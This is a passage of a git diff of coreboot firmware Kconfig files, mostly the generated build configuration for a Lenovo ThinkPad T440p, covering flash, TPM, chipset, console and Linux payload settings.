+CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +# CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_DRIVERS_RICOH_RCE822=y +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index 7e54b6255..43de12474 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -1,26 +1,706 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set # CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_ROMSTAGE=y +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="ThinkPad T440p" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T440p" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/haswell" +CONFIG_VGA_BIOS_ID="8086,0416" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x800000 +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="t440p" +CONFIG_OVERRIDE_DEVICETREE="" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xff7c0000 +CONFIG_DCACHE_RAM_SIZE=0x10000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x2000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/t440p/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/t440p/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/t440p/gbe.bin" +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +# CONFIG_ENABLE_DDR_2X_REFRESH is not set +CONFIG_PCIEXP_AER=y +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T440p" CONFIG_HAVE_IFD_BIN=y +CONFIG_BOARD_LENOVO_THINKPAD_T440P=y +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set +# CONFIG_BOARD_LENOVO_X230 is not set +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_BOARD_LENOVO_HASWELL_COMMON=y +CONFIG_VBOOT_SLOTS_RW_AB=y +CONFIG_PS2K_EISAID="LEN0071" +CONFIG_PS2M_EISAID="LEN0036" +CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +CONFIG_COREBOOT_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=12288 +CONFIG_ROM_SIZE=0x00c00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xe8000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HAVE_MRC=y CONFIG_MRC_FILE="@BLOB_DIR@/haswell/mrc.bin" +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x30000 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_DISABLE_ME_PCI=y +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=6 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_HASWELL=y +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_VOLTAGE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_NORTHBRIDGE_INTEL_HASWELL=y +# CONFIG_USE_NATIVE_RAMINIT is not set +# CONFIG_USE_BROADWELL_MRC is not set +CONFIG_HASWELL_HIDE_PEG_FROM_MRC=y + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_LYNXPOINT=y +CONFIG_FINALIZE_USB_ROUTE_XHCI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_H8_HAS_PRIMARY_FN_KEYS=y +CONFIG_H8_HAS_LEDLOGO=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set 